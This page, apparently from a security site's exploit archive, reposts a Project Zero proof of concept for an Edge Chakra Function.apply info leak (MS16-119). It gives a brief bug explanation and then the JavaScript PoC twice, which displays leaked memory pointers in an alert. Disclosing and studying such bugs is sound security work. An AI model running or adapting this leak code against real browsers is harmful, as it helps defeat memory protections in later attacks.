首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Microsoft Edge - Function.apply Info Leak (MS16-119)
来源:Google Security Research 作者:Google 发布时间:2016-10-21  

<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=920

When Function.apply is called in Chakra, the parameter array is iterated through using JavascriptArray::ForEachItemInRange. This function accepts a templated parameter, hasSideEffect that allows the function to behave safely in the case that iteration has side effects. In JavascriptFunction::CalloutHelper (which is called by Function.apply) this parameter is set to false, even though iterating through the array can have side effects. This can cause an info leak if the side effects cause the array to change types from a numeric array to a variable array. A PoC is as folows and attached. Running this PoC causes an alert dialog with pointers in it.

var t = new Array(1,2,3);

function f(){

var h = [];
var a = [...arguments]
for(item in a){
 var n = new Number(a[item]);
 if( n < 0){

 n = n + 0x100000000;
 }
 h.push(n.toString(16)); 
}

alert(h);
}

 

var q = f;

t.length = 20;
var o = {};
  Object.defineProperty(o, '3', {
    get: function() {
      var ta = [];
      ta.fill.call(t, "natalie");
      return 5;
    }
  });

t.__proto__ = o;

var j = [];
var s = f.apply(null, t);

-->

<html><body><script>

var t = new Array(1,2,3);

function f(){

var h = [];
var a = [...arguments]
for(item in a){
 var n = new Number(a[item]);
 if( n < 0){

 n = n + 0x100000000;
 }
 h.push(n.toString(16)); 
}

alert(h);
}

 

var q = f;

t.length = 20;
var o = {};
  Object.defineProperty(o, '3', {
    get: function() {
      var ta = [];
      ta.fill.call(t, "natalie");
      return 5;
    }
  });

t.__proto__ = o;

var j = [];
var s = f.apply(null, t);

</script></body></html>


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Microsoft Edge - Array.map Hea
·Microsoft Edge - Array.join In
·SAP NetWeaver KERNEL 7.0 < 7.5
·Microsoft Edge - Spread Operat
·MiCasa VeraLite - Remote Code
·Windows Edge/IE - Isolated Pri
·Oracle Netbeans IDE 8.1 - Dire
·Windows Edge/IE - Isolated Pri
·Hak5 WiFi Pineapple Preconfigu
·Windows - NtLoadKeyEx Read Onl
·Hak5 WiFi Pineapple Preconfigu
·Linux Kernel 2.6.22 < 3.9 - 'D
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved